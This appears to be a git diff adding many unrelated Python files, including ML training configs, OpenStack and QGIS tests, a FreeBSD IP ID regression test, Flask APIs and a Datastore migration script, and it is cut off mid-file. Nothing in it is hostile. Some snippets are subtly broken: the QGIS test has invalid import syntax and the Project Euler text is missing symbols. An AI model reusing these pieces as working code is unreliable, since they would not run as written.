Platform for Intelligent Computing (NuPIC) +# Copyright (C) 2019, Numenta, Inc. Unless you have an agreement +# with Numenta, Inc., for a separate license for this software code, the +# following terms and conditions apply: +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero Public License version 3 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the GNU Affero Public License for more details. +# +# You should have received a copy of the GNU Affero Public License +# along with this program. If not, see http://www.gnu.org/licenses. +# +# http://numenta.org/licenses/ +# ---------------------------------------------------------------------- + + +from nupic.research.archive.dynamic_sparse.common.utils import run_ray + +# experiment configurations +base_exp_config = dict( + device="cuda", + dataset_name="ImageNet", + use_multiple_gpus=True, + model="BaseModel", + data_dir="~/nta/datasets", + num_classes=100, + epochs=120, + batch_size_train=1024, + batch_size_test=1024, + # ---- network related + network="resnet50", + pretrained=False, + # ---- optimizer related + optim_alg="SGD", + learning_rate=0.1, + lr_scheduler="MultiStepLR", + lr_milestones=[55, 85, 105], + lr_gamma=0.1, + weight_decay=1e-5, + momentum=0.9, + nesterov_momentum=True, + # optim_alg="Adam", + # learning_rate=2e-3, + # weight_decay=2e-4, +) + +# ray configurations +tune_config = dict( + num_samples=1, + name=__file__.replace(".py", ""), + checkpoint_freq=0, + checkpoint_at_end=True, + resources_per_trial={"cpu": 60, "gpu": 8}, + verbose=2, +) + +run_ray(tune_config, base_exp_config) diff --git a/pool/shard009/Python/0082699_ip_id_period.py b/pool/shard009/Python/0082699_ip_id_period.py new file mode 100644 index 0000000000000000000000000000000000000000..c04f5a4b133b6bbc96d70efbe2c8c42529542bd8 --- /dev/null +++ b/pool/shard009/Python/0082699_ip_id_period.py @@ -0,0 +1,77 @@ +# Copyright (C) 2008 Michael J. Silbersack. All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# 1. Redistributions of source code must retain the above copyright +# notice unmodified, this list of conditions, and the following +# disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# +# $FreeBSD$ +# +# This is a regression test to verify the proper behavior of IP ID generation +# code. It will push 200000 packets, then report back what the min and max +# periods it saw for different IDs were. + +from __future__ import print_function +import os +import signal +import subprocess +import time + +if os.path.exists('results.pcap'): + os.remove('results.pcap') +tcpdump = subprocess.Popen('tcpdump -n -i lo0 -w results.pcap icmp', shell=True) +time.sleep(1) # Give tcpdump time to start + +os.system('sysctl net.inet.icmp.icmplim=0') +os.system('ping -q -i .001 -c 100000 127.0.0.1') + +time.sleep(3) # Give tcpdump time to catch up +os.kill(tcpdump.pid, signal.SIGTERM) + +os.system('tcpdump -n -v -r results.pcap > results.txt') + +id_lastseen = {} +id_minperiod = {} + +count = 0 +for line in open('results.txt').readlines(): + id = int(line.split(' id ')[1].split(',')[0]) + if id in id_lastseen: + period = count - id_lastseen[id] + if id not in id_minperiod or period < id_minperiod[id]: + id_minperiod[id] = period + id_lastseen[id] = count + count += 1 + +sorted_minperiod = list(zip(*reversed(list(zip(*list(id_minperiod.items())))))) +sorted_minperiod.sort() + +print("Lowest 10 ID periods detected:") +x = 0 +while x < 10: + id_tuple = sorted_minperiod.pop(0) + print("id: %d period: %d" % (id_tuple[1], id_tuple[0])) + x += 1 + +print("Highest 10 ID periods detected:") +x = 0 +while x < 10: + id_tuple = sorted_minperiod.pop() + print("id: %d period: %d" % (id_tuple[1], id_tuple[0])) + x += 1 diff --git a/pool/shard009/Python/0082701_test_volumeops.py b/pool/shard009/Python/0082701_test_volumeops.py new file mode 100644 index 0000000000000000000000000000000000000000..6fa0e0dba57caf76158c6eee8e2a7d0fc897faa4 --- /dev/null +++ b/pool/shard009/Python/0082701_test_volumeops.py @@ -0,0 +1,94 @@ +# Copyright 2013 IBM Corp. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import contextlib +import mock + +from nova import test +from nova.tests.virt.vmwareapi import stubs +from nova.virt.vmwareapi import driver +from nova.virt.vmwareapi import fake as vmwareapi_fake +from nova.virt.vmwareapi import volumeops + + +class VMwareVolumeOpsTestCase(test.NoDBTestCase): + + def setUp(self): + + super(VMwareVolumeOpsTestCase, self).setUp() + vmwareapi_fake.reset() + stubs.set_stubs(self.stubs) + self._session = driver.VMwareAPISession() + + self._volumeops = volumeops.VMwareVolumeOps(self._session) + self.instance = {'name': 'fake_name', 'uuid': 'fake_uuid'} + + def _test_detach_disk_from_vm(self, destroy_disk=False): + def fake_call_method(module, method, *args, **kwargs): + vmdk_detach_config_spec = kwargs.get('spec') + virtual_device_config = vmdk_detach_config_spec.deviceChange[0] + self.assertEqual('remove', virtual_device_config.operation) + self.assertEqual('ns0:VirtualDeviceConfigSpec', + virtual_device_config.obj_name) + if destroy_disk: + self.assertEqual('destroy', + virtual_device_config.fileOperation) + else: + self.assertFalse(hasattr(virtual_device_config, + 'fileOperation')) + return 'fake_configure_task' + with contextlib.nested( + mock.patch.object(self._session, '_wait_for_task'), + mock.patch.object(self._session, '_call_method', + fake_call_method) + ) as (_wait_for_task, _call_method): + fake_device = vmwareapi_fake.DataObject() + fake_device.backing = vmwareapi_fake.DataObject() + fake_device.backing.fileName = 'fake_path' + fake_device.key = 'fake_key' + self._volumeops.detach_disk_from_vm('fake_vm_ref', self.instance, + fake_device, destroy_disk) + _wait_for_task.assert_has_calls([ + mock.call('fake_configure_task')]) + + def test_detach_with_destroy_disk_from_vm(self): + self._test_detach_disk_from_vm(destroy_disk=True) + + def test_detach_without_destroy_disk_from_vm(self): + self._test_detach_disk_from_vm(destroy_disk=False) + + def _fake_call_get_dynamic_property(self, uuid, result): + def fake_call_method(vim, method, vm_ref, type, prop): + expected_prop = 'config.extraConfig["volume-%s"]' % uuid + self.assertEqual('VirtualMachine', type) + self.assertEqual(expected_prop, prop) + return result + return fake_call_method + + def test_get_volume_uuid(self): + vm_ref = mock.Mock() + uuid = '1234' + opt_val = vmwareapi_fake.OptionValue('volume-%s' % uuid, 'volume-val') + fake_call = self._fake_call_get_dynamic_property(uuid, opt_val) + with mock.patch.object(self._session, "_call_method", fake_call): + val = self._volumeops._get_volume_uuid(vm_ref, uuid) + self.assertEqual('volume-val', val) + + def test_get_volume_uuid_not_found(self): + vm_ref = mock.Mock() + uuid = '1234' + fake_call = self._fake_call_get_dynamic_property(uuid, None) + with mock.patch.object(self._session, "_call_method", fake_call): + val = self._volumeops._get_volume_uuid(vm_ref, uuid) + self.assertIsNone(val) diff --git a/pool/shard009/Python/0082702_0005_auto_20151230_1123.py b/pool/shard009/Python/0082702_0005_auto_20151230_1123.py new file mode 100644 index 0000000000000000000000000000000000000000..876ab079d7f24ff514adc7bb39fdb877e0604967 --- /dev/null +++ b/pool/shard009/Python/0082702_0005_auto_20151230_1123.py @@ -0,0 +1,33 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.9 on 2015-12-30 11:23 +from __future__ import unicode_literals + +from django.db import migrations + +from gitstorage.storage import GitStorage + + +def fill_size(apps, schema_editor): + BlobMetadata = apps.get_model('gitstorage', 'BlobMetadata') + if BlobMetadata._meta.swapped: + return + + db_alias = schema_editor.connection.alias + + for metadata in BlobMetadata.objects.using(db_alias).filter(size__isnull=True).iterator(): + # Reopen the storage at each iteration to collect its memory ASAP + storage = GitStorage() + blob = storage.repository[metadata.id] + metadata.size = blob.size + metadata.save() + + +class Migration(migrations.Migration): + + dependencies = [ + ('gitstorage', '0004_auto_20151230_1123'), + ] + + operations = [ + migrations.RunPython(fill_size, atomic=False) + ] diff --git a/pool/shard009/Python/0082704_test_calculate_ldn.py b/pool/shard009/Python/0082704_test_calculate_ldn.py new file mode 100644 index 0000000000000000000000000000000000000000..5308535342c6c41a524bfeb714ef02de92b693ac --- /dev/null +++ b/pool/shard009/Python/0082704_test_calculate_ldn.py @@ -0,0 +1,96 @@ +# -*- coding: utf-8 -*- +""" +/*************************************************************************** + LDMP - A QGIS plugin + This plugin supports monitoring and reporting of land degradation to the UNCCD + and in support of the SDG Land Degradation Neutrality (LDN) target. + ------------------- + begin : 2017-05-23 + git sha : $Format:%H$ + copyright : (C) 2017 by Conservation International + email : trends.earth@conservation.org + ***************************************************************************/ +""" + +import os +import sys +import tempfile +import numpy as np + +from qgis.testing import unittest + +from (LDMP.calculate_ldn import DlgCalculateLDNSummaryTableAdmin, + ldn_total_by_trans_merge) + +from LDMP.test import add_default_bands_to_map + +from (LDMP.calculate import ldn_make_prod5, ldn_recode_state, + ldn_recode_traj, ldn_total_by_trans, ldn_total_deg_f) + + +LDN_TESTDATA = os.path.abspath(os.path.join(os.path.dirname(__file__), 'fixtures/Nepal_Narayani_15_3_1_TE_One_Step.tif')) + + +class DlgCalculateLDNSummaryTableAdminWorkerTests(unittest.TestCase): + def setUp(self): + add_default_bands_to_map(LDN_TESTDATA) + + self.d = DlgCalculateLDNSummaryTableAdmin() + # Need to show the summary table to run the setup code in that method + self.d.show() + out_tif_metadata = tempfile.NamedTemporaryFile(suffix='.json').name + out_tif = os.path.splitext(out_tif_metadata)[0] + '.tif' + out_table = tempfile.NamedTemporaryFile(suffix='.xlsx').name + self.d.output_file_layer.setText(out_tif_metadata) + self.d.output_file_table.setText(out_table) + self.d.area_tab.area_admin_0.setCurrentIndex(self.d.area_tab.area_admin_0.findText('Nepal')) + self.d.area_tab.secondLevel_area_admin_1.setCurrentIndex(self.d.area_tab.secondLevel_area_admin_1.findText('Narayani')) + + def testBands(self): + # Ensure that the bands have loaded into the dialog box + self.assertEqual(self.d.combo_layer_traj.currentText(), 'Productivity trajectory degradation (2001 to 2015)') + self.assertEqual(self.d.combo_layer_perf.currentText(), 'Productivity performance degradation (2001 to 2015)') + self.assertEqual(self.d.combo_layer_state.currentText(), 'Productivity state degradation (2001-2012 to 2013-2015)') + self.assertEqual(self.d.combo_layer_lc.currentText(), 'Land cover degradation (2001 to 2015)') + self.assertEqual(self.d.combo_layer_soc.currentText(), 'Soil organic carbon degradation (2001 to 2015)') + + def testWorker(self): + ret = self.d.btn_calculate() + self.assertTrue(ret) + + +class DlgCalculateLDNSummaryTableAdminOutputTests(unittest.TestCase): + # def setUp(self): + # add_default_bands_to_map(LDN_TESTDATA) + # + # d = DlgCalculateLDNSummaryTableAdmin() + # # Need to show the summary table to run the setup code in that method + # d.show() + # out_tif_metadata = tempfile.NamedTemporaryFile(suffix='.json').name + # out_tif = os.path.splitext(out_tif_metadata)[0] + 'tif' + # out_table = tempfile.NamedTemporaryFile(suffix='.xlsx').name + # d.output_file_layer.setText(out_tif_metadata) + # d.output_file_table.setText(out_table) + # d.area_tab.area_admin_0.setCurrentIndex(d.area_tab.area_admin_0.findText('Nepal')) + # d.area_tab.secondLevel_area_admin_1.setCurrentIndex(d.area_tab.secondLevel_area_admin_1.findText('Narayani')) + # + # ret = d.btn_calculate() + + def test_table(self): + self.assertTrue(True) + + def test_tif(self): + self.assertTrue(True) + + +def CalculateLDNIntegrationSuite(): + suite = unittest.TestSuite() + suite.addTests(unittest.makeSuite(DlgCalculateLDNSummaryTableAdminWorkerTests, 'test')) + suite.addTests(unittest.makeSuite(DlgCalculateLDNSummaryTableAdminOutputTests, 'test')) + return suite + + +def run_all(): + _suite = unittest.TestSuite() + _suite.addTest(CalculateLDNIntegrationSuite()) + unittest.TextTestRunner(verbosity=3, stream=sys.stdout).run(_suite) diff --git a/pool/shard009/Python/0082710_web_client_test.py b/pool/shard009/Python/0082710_web_client_test.py new file mode 100644 index 0000000000000000000000000000000000000000..f205df70492e3feae0ad7ef2a50ea967e57b0bbf --- /dev/null +++ b/pool/shard009/Python/0082710_web_client_test.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +############################################################################### +# Copyright 2013 Kitware Inc. +# +# Licensed under the Apache License, Version 2.0 ( the "License" ); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +############################################################################### + +import mock +import os +import six +import subprocess +import sys +import time + +from girder import config +from girder.api import access +from girder.api.describe import Description, describeRoute +from girder.api.rest import Resource +from girder.constants import registerAccessFlag, ROOT_DIR +from girder.exceptions import RestException +from girder.models.folder import Folder +from girder.models.upload import Upload +from girder.utility.progress import ProgressContext +from . import base +from six.moves import range + +os.environ['GIRDER_PORT'] = os.environ.get('GIRDER_PORT', '30001') +config.loadConfig() # Reload config to pick up correct port +testServer = None +logprintMock = None + + +def setUpModule(): + global testServer + global logprintMock + mockS3 = False + if 's3' in os.environ['ASSETSTORE_TYPE']: + mockS3 = True + + pluginDir = os.environ.get('PLUGIN_DIR', '') + + if pluginDir: + base.mockPluginDir(pluginDir) + + plugins = os.environ.get('ENABLED_PLUGINS', '') + if plugins: + base.enabledPlugins.extend(plugins.split()) + + logprintMock = mock.patch('girder.utility.plugin_utilities.logprint') + logprintMock.start() + testServer = base.startServer(False, mockS3=mockS3) + + +def tearDownModule(): + base.stopServer() + logprintMock.stop() + + +class WebClientTestEndpoints(Resource): + def __init__(self): + super(WebClientTestEndpoints, self).__init__() + self.route('GET', ('progress', ), self.testProgress) + self.route('PUT', ('progress', 'stop'), self.testProgressStop) + self.route('POST', ('file', ), self.uploadFile) + self.route('POST', ('access_flag', ), self.registerAccessFlags) + self.stop = False + + @access.token + @describeRoute( + Description('Test progress contexts from the web') + .param('test', 'Name of test to run. These include "success" and ' + '"failure".', required=False) + .param('duration', 'Duration of the test in seconds', required=False, + dataType='int') + .param('resourceId', 'Resource ID associated with the progress notification.', + required=False) + .param('resourceName', 'Type of resource associated with the progress ' + 'notification.', required=False) + ) + def testProgress(self, params): + test = params.get('test', 'success') + duration = int(params.get('duration', 10)) + resourceId = params.get('resourceId', None) + resourceName = params.get('resourceName', None) + startTime = time.time() + with ProgressContext(True, user=self.getCurrentUser(), + title='Progress Test', message='Progress Message', + total=duration, resource={'_id': resourceId}, + resourceName=resourceName) as ctx: + for current in range(duration): + if self.stop: + break + ctx.update(current=current) + wait = startTime + current + 1 - time.time() + if wait > 0: + time.sleep(wait) + if test == 'error': + raise RestException('Progress error test.') + + @access.token + @describeRoute( + Description('Halt all progress tests') + ) + def testProgressStop(self, params): + self.stop = True + + @access.user + @describeRoute(None) + def uploadFile(self, params): + """ + Providing this works around a limitation in phantom that makes us + unable to upload binary files, or at least ones that contain certain + byte values. The path parameter should be provided relative to the + root directory of the repository. + """ + self.requireParams(('folderId', 'path'), params) + + path = os.path.join(ROOT_DIR, params['path']) + name = os.path.basename(path) + folder = Folder().load(params['folderId'], force=True) + + upload = Upload().createUpload( + user=self.getCurrentUser(), name=name, parentType='folder', + parent=folder, size=os.path.getsize(path)) + + with open(path, 'rb') as fd: + file = Upload().handleChunk(upload, fd) + + return file + + @access.public + @describeRoute(None) + def registerAccessFlags(self, params): + """ + Helper that can be used to register access flags in the system. This is + used to test the access flags UI since the core does not expose any flags. + """ + flags = self.getBodyJson() + for key, info in six.viewitems(flags): + registerAccessFlag(key, info['name'], info['description'], info['admin']) + + +class WebClientTestCase(base.TestCase): + def setUp(self): + self.specFile = os.environ['SPEC_FILE'] + self.assetstoreType = os.environ['ASSETSTORE_TYPE'] + self.webSecurity = os.environ.get('WEB_SECURITY', 'true') + if self.webSecurity != 'false': + self.webSecurity = 'true' + base.TestCase.setUp(self, self.assetstoreType) + # One of the web client tests uses this db, so make sure it is cleared + # ahead of time. This still allows tests to be run in parallel, since + # nothing should be stored in this db + base.dropGridFSDatabase('girder_webclient_gridfs') + + testServer.root.api.v1.webclienttest = WebClientTestEndpoints() + + if 'SETUP_MODULES' in os.environ: + import imp + for i, script in enumerate(os.environ['SETUP_MODULES'].split(':')): + imp.load_source('girder.web_test_setup%d' % i, script) + + def testWebClientSpec(self): + baseUrl = '/static/built/testing/testEnv.html' + if os.environ.get('BASEURL', ''): + baseUrl = os.environ['BASEURL'] + + cmd = ( + 'npx', 'phantomjs', + '--web-security=%s' % self.webSecurity, + os.path.join(ROOT_DIR, 'clients', 'web', 'test', 'specRunner.js'), + 'http://localhost:%s%s' % (os.environ['GIRDER_PORT'], baseUrl), + self.specFile, + os.environ.get('JASMINE_TIMEOUT', ''), + # Disambiguate repeat tests run on the same spec file, by adding any non-default + # assetstore types to the test output files + self.assetstoreType if self.assetstoreType != 'filesystem' else '' + ) + + # phantomjs occasionally fails to load javascript files. This appears + # to be a known issue: https://github.com/ariya/phantomjs/issues/10652. + # Retry several times if it looks like this has occurred. + retry_count = os.environ.get('PHANTOMJS_RETRY', 3) + for _ in range(int(retry_count)): + retry = False + task = subprocess.Popen( + cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=ROOT_DIR) + jasmineFinished = False + for line in iter(task.stdout.readline, b''): + if isinstance(line, six.binary_type): + line = line.decode('utf8') + if ('PHANTOM_TIMEOUT' in line or 'error loading source script' in line): + task.kill() + retry = True + elif '__FETCHEMAIL__' in line: + base.mockSmtp.waitForMail() + msg = base.mockSmtp.getMail(parse=True) + open('phantom_temp_%s.tmp' % os.environ['GIRDER_PORT'], + 'wb').write(msg.get_payload(decode=True)) + continue # we don't want to print this + if 'Testing Finished' in line: + jasmineFinished = True + try: + sys.stdout.write(line) + except UnicodeEncodeError: + sys.stdout.write(repr(line)) + sys.stdout.flush() + returncode = task.wait() + if not retry and jasmineFinished: + break + sys.stderr.write('Retrying test\n') + # If we are retrying, we need to reset the whole test, as the + # databases and other resources are in an unknown state + self.tearDown() + self.setUp() + + self.assertEqual(returncode, 0) diff --git a/pool/shard009/Python/0082725_state_machine.py b/pool/shard009/Python/0082725_state_machine.py new file mode 100644 index 0000000000000000000000000000000000000000..1a0e2b0b119e6d152c1541ebcf9c7cfd5bcf57ee --- /dev/null +++ b/pool/shard009/Python/0082725_state_machine.py @@ -0,0 +1,156 @@ +"""A generic state machine.""" +from mpf.core.device_monitor import DeviceMonitor + +from mpf.core.mode import Mode +from mpf.core.player import Player +from mpf.core.mode_device import ModeDevice +from mpf.core.system_wide_device import SystemWideDevice + + +@DeviceMonitor("state") +class StateMachine(SystemWideDevice, ModeDevice): + + """A generic state machine.""" + + config_section = 'state_machines' + collection = 'state_machines' + class_label = 'state_machine' + + __slots__ = ["player", "_state", "_handlers", "_show", "_player_var_name"] + + def __init__(self, machine, name): + """Initialise state machine.""" + super().__init__(machine, name) + self.player = None + self._state = None + self._handlers = [] + self._show = None + self._player_var_name = "state_machine_{}".format(name) + + async def device_added_system_wide(self): + """Initialise internal state.""" + await super().device_added_system_wide() + + if self.config['persist_state']: + self.raise_config_error("Cannot set persist_state for system-wide state_machine", 1) + + self._start_state(self.config['starting_state']) + + def validate_and_parse_config(self, config: dict, is_mode_config: bool, debug_prefix: str = None): + """Validate transitions.""" + result = super().validate_and_parse_config(config, is_mode_config, debug_prefix) + states = config.get("states", {}) + for transition in config.get("transitions", []): + for state in transition["source"]: + if state not in states: + self.raise_config_error("Source {} of transition {} not found in states.".format( + transition["source"], transition), 2) + if transition["target"] not in states: + self.raise_config_error("Target {} of transition {} not found in states.".format( + transition["target"], transition), 3) + return result + + @property + def can_exist_outside_of_game(self) -> bool: + """Return true if persist_state is not set.""" + return not self.config['persist_state'] + + @property + def state(self): + """Return the current state.""" + if self.config['persist_state'] and self.player: + return self.player[self._player_var_name] + + return self._state + + @state.setter + def state(self, value): + """Set the current state.""" + old = self.state + if self.config['persist_state']: + old = self.player[self._player_var_name] + self.player[self._player_var_name] = value + else: + self._state = value + + # notify monitors + self.notify_virtual_change("state", old, self.state) + + def device_loaded_in_mode(self, mode: Mode, player: Player): + """Restore internal state from player if persist_state is set or create new state.""" + super().device_loaded_in_mode(mode, player) + self.player = player + if not self.state: + self._start_state(self.config['starting_state']) + else: + self._add_handlers_for_current_state() + self._run_show_for_current_state() + self.notify_virtual_change("state", None, self.state) + + def device_removed_from_mode(self, mode: Mode): + """Unset internal state to prevent leakage.""" + super().device_removed_from_mode(mode) + self._remove_handlers() + self.notify_virtual_change("state", self.state, None) + self._state = None + self.player = None + + if self._show: + self._show.stop() + self._show = None + + def _stop_current_state(self): + self.log.debug("Stopping state %s", self.state) + self._remove_handlers() + state_config = self.config['states'][self.state] + if state_config['events_when_stopped']: + for event_name in state_config['events_when_stopped']: + self.machine.events.post(event_name) + + if self._show: + self.log.debug("Stopping show %s", self._show) + self._show.stop() + self._show = None + + self.state = None + + def _start_state(self, state): + self.log.debug("Starting state %s", state) + if state not in self.config['states']: + raise AssertionError("Invalid state {}".format(state)) + + state_config = self.config['states'][state] + self.state = state + if state_config['events_when_started']: + for event_name in state_config['events_when_started']: + self.machine.events.post(event_name) + + self._add_handlers_for_current_state() + self._run_show_for_current_state() + + def _run_show_for_current_state(self): + assert not self._show + state_config = self.config['states'][self.state] + if state_config['show_when_active']: + self.log.debug("Starting show %s", state_config['show_when_active']) + self._show = self.machine.show_controller.play_show_with_config(state_config['show_when_active'], + self.mode) + + def _add_handlers_for_current_state(self): + for transition in self.config['transitions']: + if self.state in transition['source']: + for event in transition['events']: + self._handlers.append(self.machine.events.add_handler(event, self._transition, + transition_config=transition)) + + def _transition(self, transition_config, **kwargs): + del kwargs + self.log.info("Transitioning from %s to %s", self.state, transition_config["target"]) + self._stop_current_state() + if transition_config['events_when_transitioning']: + for event_name in transition_config['events_when_transitioning']: + self.machine.events.post(event_name) + self._start_state(transition_config['target']) + + def _remove_handlers(self): + self.machine.events.remove_handlers_by_keys(self._handlers) diff --git a/pool/shard009/Python/0082730_init__.py b/pool/shard009/Python/0082730_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e5e9c7af091d69d97ef8e579c8611ad456435d36 --- /dev/null +++ b/pool/shard009/Python/0082730_init__.py @@ -0,0 +1,55 @@ +""" +api/providers/__init__.py +~~~~~~~~~~~~~~~ + +Endpoints for state data retrieval. + +:author: Sean Pianka +:e-mail: pianka@eml.cc +:github: @seanpianka +""" +from flask import g, jsonify, Blueprint + +from gridlight.utils.constants import BASE_API_URL +from gridlight.models import Provider, ServicableArea +from gridlight.models.http import login_required +from gridlight.exceptions import InvalidUsage + + +providers_bp = Blueprint('providers', __name__, url_prefix=BASE_API_URL+'/providers') + + +# GET /providers/ +@providers_bp.route('//', methods=['GET']) +@login_required +def get_providers_state(state): + providers = [p.as_dict() for p in Provider.query.filter( + ServicableArea.state == state + ).all()] + + if not providers: + raise InvalidUsage("No providers exist serving the state \"{}\".".format(state)) + + g.res.update_data({"providers": providers}) + g.res.message = "Queried provider's information." + + return jsonify(g.res) + + +# GET /providers// +@providers_bp.route('///', methods=['GET']) +@login_required +def get_providers_state_id(state, provider_id): + providers = [p.as_dict() for p in Provider.query.filter( + ServicableArea.state == state + ).filter( + Provider.id == provider_id + ).all()] + + if not providers: + raise InvalidUsage("No providers exist with provider id \"{}\".".format(provider_id)) + + g.res.update_data({"providers": providers}) + g.res.message = "Queried provider's information with id \"{}\".".format(provider_id) + + return jsonify(g.res) diff --git a/pool/shard009/Python/0082736_solutions.py b/pool/shard009/Python/0082736_solutions.py new file mode 100644 index 0000000000000000000000000000000000000000..d8f334dcbe089db43aecad1b38aa8737c82dbdd0 --- /dev/null +++ b/pool/shard009/Python/0082736_solutions.py @@ -0,0 +1,33 @@ + +__problem_title__ = "n-sequences" +__problem_url___ = "https://projecteuler.net/problem=427" +__problem_description__ = "A sequence of integers S = {s } is called an if it has elements and " \ + "each element s satisfies 1 ≤ s ≤ . Thus there are distinct -sequences " \ + "in total. For example, the sequence S = {1, 5, 5, 10, 7, 7, 7, 2, 3, " \ + "7} is a 10-sequence. For any sequence S, let L(S) be the length of " \ + "the longest contiguous subsequence of S with the same value. For " \ + "example, for the given sequence S above, L(S) = 3, because of the " \ + "three consecutive 7's. Let ( ) = ∑ L(S) for all -sequences S. For " \ + "example, (3) = 45, (7) = 1403689 and (11) = 481496895121. Find (7 500 " \ + "000) mod 1 000 000 009." + +import timeit + + +class Solution(): + + @staticmethod + def solution1(): + pass + + @staticmethod + def time_solutions(): + setup = 'from __main__ import Solution' + print('Solution 1:', timeit.timeit('Solution.solution1()', setup=setup, number=1)) + + +if __name__ == '__main__': + s = Solution() + print(s.solution1()) + s.time_solutions() + diff --git a/pool/shard009/Python/0082737_app.py b/pool/shard009/Python/0082737_app.py new file mode 100644 index 0000000000000000000000000000000000000000..4b7365cfbdf363f5e5ca495e66fdf0a0192e93e3 --- /dev/null +++ b/pool/shard009/Python/0082737_app.py @@ -0,0 +1,64 @@ +#!flask/bin/python +from flask import Flask, jsonify, abort, request, make_response +from flask_cors import CORS, cross_origin +import pymongo +import settings +import requests + + +app = Flask(__name__) +CORS(app) + + +def get_project_db(): + client = pymongo.MongoClient(settings.MONGO_URL) + db = client['hackvote'] + projects = db['projects'] + return projects + + +@app.errorhandler(404) +def not_found(error): + return make_response(jsonify({'error': 'Not found ' + request.path}), 404) + + +@app.route('/api/v1.0/votes/', methods=['GET']) +def get_votes(event_name): + project_db = get_project_db() + projects = project_db.find({"event":event_name}) + cleaned_projects = [] + for project in projects: + cleaned_projects.append({"id": project["_id"], "vote": project["votes"]}) + if len(cleaned_projects) == 0: + abort(404) + return jsonify(cleaned_projects) + + +@app.route('/api/v1.0/vote/', methods=['POST']) +def vote(event_name): + project_db = get_project_db() + + required_fields = ["captcha"] + if not request.json or not all(field in request.json for field in required_fields): + abort(400) + + post_data = {"secret":settings.CAPTCHA_SECRET, "response":request.json["captcha"]} + captcha_verify_request = requests.post("https://www.google.com/recaptcha/api/siteverify", data=post_data) + if captcha_verify_request.json()["success"]: + + event_req = requests.get("https://hackdash.org/api/v2/{}/projects".format(event_name)) + valid_project_ids = [project['_id'] for project in event_req.json()] + failed_votes = [] + + if request.json["vote"] in valid_project_ids: + project_db.update({"_id":request.json["vote"]}, {"$inc":{"votes":1}, "$set":{"event":event_name}},upsert=True) + else: + return make_response(jsonify({"error":"project id invalid"}), 400) + + return jsonify({"succes":True, "failed_votes":failed_votes}) + else: + return make_response(jsonify({"error":"invalid captcha"}), 403) + + +if __name__ == '__main__': + app.run(debug=True) \ No newline at end of file diff --git a/pool/shard009/Python/0082740_rename_photo_table.py b/pool/shard009/Python/0082740_rename_photo_table.py new file mode 100644 index 0000000000000000000000000000000000000000..4473eb170d6b29572f13611bc1096096615a4e72 --- /dev/null +++ b/pool/shard009/Python/0082740_rename_photo_table.py @@ -0,0 +1,81 @@ +# +# Copyright 2017 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import argparse +from common.chunks import chunks +from google.cloud import datastore + +def get_arguments(): + parser = argparse.ArgumentParser(description='Rename the PhotoTable') + parser.add_argument('--project_id', type=str, default="eclipse-2017-test") + return parser.parse_args() + +def main(): + args = get_arguments() + + client = datastore.Client(project=args.project_id) + + # Fetch all keys of the new Photo table + query = client.query(kind="PhotoVolunteerTest") + query.keys_only() + + cursor = None + results = [] + while True: + entities = query.fetch(start_cursor=cursor, limit=1000) + l = list(entities) + results.extend(l) + if len(l) < 1000: + break + cursor = entities.next_page_token + + # Delete all keys in the PhotoVolunteerTest table + result_chunks = chunks(results, 500) + for result_chunk in result_chunks: + batch = client.batch() + batch.begin() + for result in result_chunk: + batch.delete(result.key) + batch.commit() + + # Fetch all keys of the old Photo table + query = client.query(kind="Photo") + + cursor = None + results = [] + while True: + entities = query.fetch(start_cursor=cursor, limit=1000) + l = list(entities) + results.extend(l) + if len(l) < 1000: + break + cursor = entities.next_page_token + + # Copy all the keys from the Photo table to the PhotoVolunteerTest table + result_chunks = chunks(results, 500) + for result_chunk in result_chunks: + batch = client.batch() + batch.begin() + for result in result_chunk: + key = client.key("PhotoVolunteerTest", result.key.name) + entity = datastore.Entity(key=key) + # Fix datetimes not roundtripping properly (they are missing tz info) + entity.update(result) + batch.put(entity) + batch.commit() + + +if 